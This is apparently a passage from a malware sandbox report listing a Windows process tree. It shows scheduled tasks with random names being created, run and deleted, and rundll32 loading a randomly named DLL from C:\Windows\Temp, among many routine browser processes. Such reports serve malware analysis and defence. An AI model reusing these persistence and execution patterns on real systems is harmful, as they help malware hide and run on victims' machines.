- Scheduled Task/Job: Scheduled Task
PID:4112

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "lkFiE1"
2⤵
PID:6528

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "FWyln1" /SC once /ST 05:21:00 /F /RU "Admin" /TR "\"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe\" --restore-last-session"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:6684

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "FWyln1"
2⤵
PID:1452

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "FWyln1"
2⤵
PID:4444

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "lkFiE1"
2⤵
PID:4072

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "pnPsUKnfnoEJVAtbZ"
2⤵
PID:6200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 7600 -s 2436
2⤵
- Program crash
PID:4988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 5264 -ip 5264
1⤵
PID:7772

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:7876

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
PID:368

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.0.1163459878\1023579837" -parentBuildID 20230214051806 -prefsHandle 1680 -prefMapHandle 1672 -prefsLen 22156 -prefMapSize 235181 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c832210-bb16-4b22-9bf9-e792b82d1acd} 368 "\\.\pipe\gecko-crash-server-pipe.368" 1776 196bd4fbe58 gpu
3⤵
PID:7332

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.1.643949046\1044298182" -parentBuildID 20230214051806 -prefsHandle 2352 -prefMapHandle 2348 -prefsLen 22192 -prefMapSize 235181 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f2f5b3bf-b4cd-4b2f-871d-3b566cb5e532} 368 "\\.\pipe\gecko-crash-server-pipe.368" 2380 196b1086f58 socket
3⤵
PID:6368

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.2.1448127979\1471531716" -childID 1 -isForBrowser -prefsHandle 3156 -prefMapHandle 3260 -prefsLen 22230 -prefMapSize 235181 -jsInitHandle 1240 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {82570a8b-828b-4234-bdad-ac13c46bc64a} 368 "\\.\pipe\gecko-crash-server-pipe.368" 3128 196c0ec9358 tab
3⤵
PID:4208

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.3.804343752\1879401042" -childID 2 -isForBrowser -prefsHandle 3660 -prefMapHandle 3216 -prefsLen 27696 -prefMapSize 235181 -jsInitHandle 1240 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {038f6b7f-3213-42a2-bae9-622dc25432b6} 368 "\\.\pipe\gecko-crash-server-pipe.368" 3672 196c246ae58 tab
3⤵
PID:5436

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.4.1252547846\1646702591" -childID 3 -isForBrowser -prefsHandle 5148 -prefMapHandle 4904 -prefsLen 27696 -prefMapSize 235181 -jsInitHandle 1240 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0ef441a-21e5-4af8-a949-a51b13ed7701} 368 "\\.\pipe\gecko-crash-server-pipe.368" 4872 196c1373058 tab
3⤵
PID:4936

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.5.1308788421\674881939" -childID 4 -isForBrowser -prefsHandle 5576 -prefMapHandle 5572 -prefsLen 27696 -prefMapSize 235181 -jsInitHandle 1240 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4abaa364-cf39-477b-abf8-4a9edfc679f7} 368 "\\.\pipe\gecko-crash-server-pipe.368" 5168 196b1041b58 tab
3⤵
PID:6688

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="368.6.67855265\671841075" -childID 5 -isForBrowser -prefsHandle 5592 -prefMapHandle 5588 -prefsLen 27777 -prefMapSize 235181 -jsInitHandle 1240 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2dfb6b22-b38b-49ad-a682-040dc8006e78} 368 "\\.\pipe\gecko-crash-server-pipe.368" 5412 196bd4fd658 tab
3⤵
PID:5800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 6204 -ip 6204
1⤵
PID:6860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 6204 -ip 6204
1⤵
PID:5956

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\EHIXdycWpFSJkSHq\MDruiJSd\lcqKnqW.dll",#1 /cpdidqoy 757674
1⤵
PID:5512

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\EHIXdycWpFSJkSHq\MDruiJSd\lcqKnqW.dll",#1 /cpdidqoy 757674
2⤵
PID:4804

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "KaffSBjvdLDqnEDfT"
3⤵
PID:7784

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:7660

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 6204 -ip 6204
1⤵
PID:7920

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --restore-last-session
1⤵
PID:2304

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffff2e1ab58,0x7ffff2e1ab68,0x7ffff2e1ab78
2⤵
PID:6332

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1600 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:2
2⤵
PID:6408

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1936 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:8
2⤵
PID:4720

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2144 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:8
2⤵
PID:3864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2952 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:7908

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2960 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:6900

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3792 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:1892

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4452 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:8
2⤵
PID:6208

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4712 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:8
2⤵
PID:7740

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4748 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:8
2⤵
PID:7252

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4732 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:8368

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=4896 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:8304

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=4912 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:8460

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --mojo-platform-channel-handle=5248 --field-trial-handle=2000,i,15931284131879320700,17971849529743921993,131072 /prefetch:1
2⤵
PID:7688

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --restore-last-session
1⤵
PID:5264

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=125.0.6422.142 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=125.0.2535.92 --initial-client-data=0x234,0x238,0x23c,0x230,0x360,0x7fffe4834ef8,0x7fffe4834f04,0x7fffe4834f10
2⤵
PID:7648

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=3404,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=3400 /prefetch:2
2⤵
PID:4968

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=1812,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=3300 /prefetch:3
2⤵
PID:1556

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --field-trial-handle=2196,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=3876 /prefetch:8
2⤵
PID:4276

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2736,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=3912 /prefetch:1
2⤵
PID:5776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2744,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=4020 /prefetch:2
2⤵
PID:3272

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=4416,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=4444 /prefetch:1
2⤵
PID:6776

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=4832,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=4844 /prefetch:1
2⤵
PID:6724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=5232,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5244 /prefetch:1
2⤵
PID:2892

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=5556,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5648 /prefetch:8
2⤵
PID:7292

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=5680,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:8
2⤵
PID:7144

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --field-trial-handle=5688,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5784 /prefetch:8
2⤵
PID:3512

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=6168,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:1
2⤵
PID:5460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=6224,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6204 /prefetch:1
2⤵
PID:4676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --field-trial-handle=6644,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6612 /prefetch:1
2⤵
PID:6244

C:\Program Files (x86)\Microsoft\Edge\Application\125.0.2535.92\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\125.0.2535.92\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --field-trial-handle=5312,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:8
2⤵
PID:3928

C:\Program Files (x86)\Microsoft\Edge\Application\125.0.2535.92\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\125.0.2535.92\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --field-trial-handle=5312,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:8
2⤵
PID:7944

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --field-trial-handle=7096,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6736 /prefetch:1
2⤵
PID:7056

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=7344,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=7288 /prefetch:1
2⤵
PID:2840

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=4584,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:1
2⤵
PID:7684

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=7312,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=7628 /prefetch:1
2⤵
PID:3940

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --field-trial-handle=7396,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=7644 /prefetch:1
2⤵
PID:7656

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --field-trial-handle=5584,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:8
2⤵
PID:8676

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --field-trial-handle=5660,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:8
2⤵
PID:8760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --field-trial-handle=6928,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=6336 /prefetch:8
2⤵
PID:8812

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2760,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:8
2⤵
PID:8760

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --field-trial-handle=7036,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
2⤵
PID:9156

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=2592,i,5920576981222124252,9430372624094316112,262144 --variations-seed-version --mojo-platform-channel-handle=7908 /prefetch:8
2⤵
PID:7024

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3512

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
PID:3872

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.0.544785187\716068946" -parentBuildID 20230214051806 -prefsHandle 1728 -prefMapHandle 1720 -prefsLen 22340 -prefMapSize 235405 -appDir "C:\Program Files\Mozilla Firefox\browser" - {74446007-1130-49c9-8688-b3193e4d52d5} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1820 200a2389458 gpu
3⤵
PID:536

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.1.849681634\1405124443" -parentBuildID 20230214051806 -prefsHandle 2360 -prefMapHandle 2348 -prefsLen 22376 -prefMapSize 235405 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e06ac550-9e05-41c6-a573-bfe313fc3de2} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 2372 20096189958 socket
3⤵
PID:2192

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.2.229976579\1901802601" -childID 1 -isForBrowser -prefsHandle 3300 -prefMapHandle 3296 -prefsLen 22414 -prefMapSize 235405 -jsInitHandle 1188 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fbb83841-4472-4baf-a167-3f49b3de2902} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 3308 200a68dfe58 tab
3⤵
PID:3908

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.3.474468432\1668561343" -childID 2 -isForBrowser -prefsHandle 3972 -prefMapHandle 2912 -prefsLen 27833 -prefMapSize 235405 -jsInitHandle 1188 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b54e19fd-bff8-43c2-97a8-a08e10e8182e} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 4124 200a9436f58 tab
3⤵
PID:2888

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.4.36960811\896226453" -childID 3 -isForBrowser -prefsHandle 4536 -prefMapHandle 4560 -prefsLen 27909 -prefMapSize 235405 -jsInitHandle 1188 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eea48fbe-8e76-4e26-b580-c2f34ef5825d} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 4528 200aa3b2658 tab
3⤵
PID:740

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.5.2089841467\984531397" -childID 4 -isForBrowser -prefsHandle 1320 -prefMapHandle 4560 -prefsLen 28069 -prefMapSize 235405 -jsInitHandle 1188 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2c035b5e-85fd-450d-9914-979e23a1b068} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 1612 200a83ea658 tab
3⤵
PID:1172

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.6.651046289\1261685419" -childID 5 -isForBrowser -prefsHandle 5488 -prefMapHandle 5708 -prefsLen 28069 -prefMapSize 235405 -jsInitHandle 1188 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1ac010f3-6232-47f5-ad69-30ba9a8802f5} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 5732 200a83eac58 tab
3⤵
PID:7112

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3872.7.2107902006\767514493" -childID 6 -isForBrowser -prefsHandle 5688 -prefMapHandle 5636 -prefsLen 28069 -prefMapSize 235405 -jsInitHandle 1188 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4dc45597-6f86-4a25-b260-e870d426434a} 3872 "\\.\pipe\gecko-crash-server-pipe.3872" 5676 200a867b558 tab
3⤵
PID:3448

C:\Program Files\Mozilla Firefox\firefox.exe
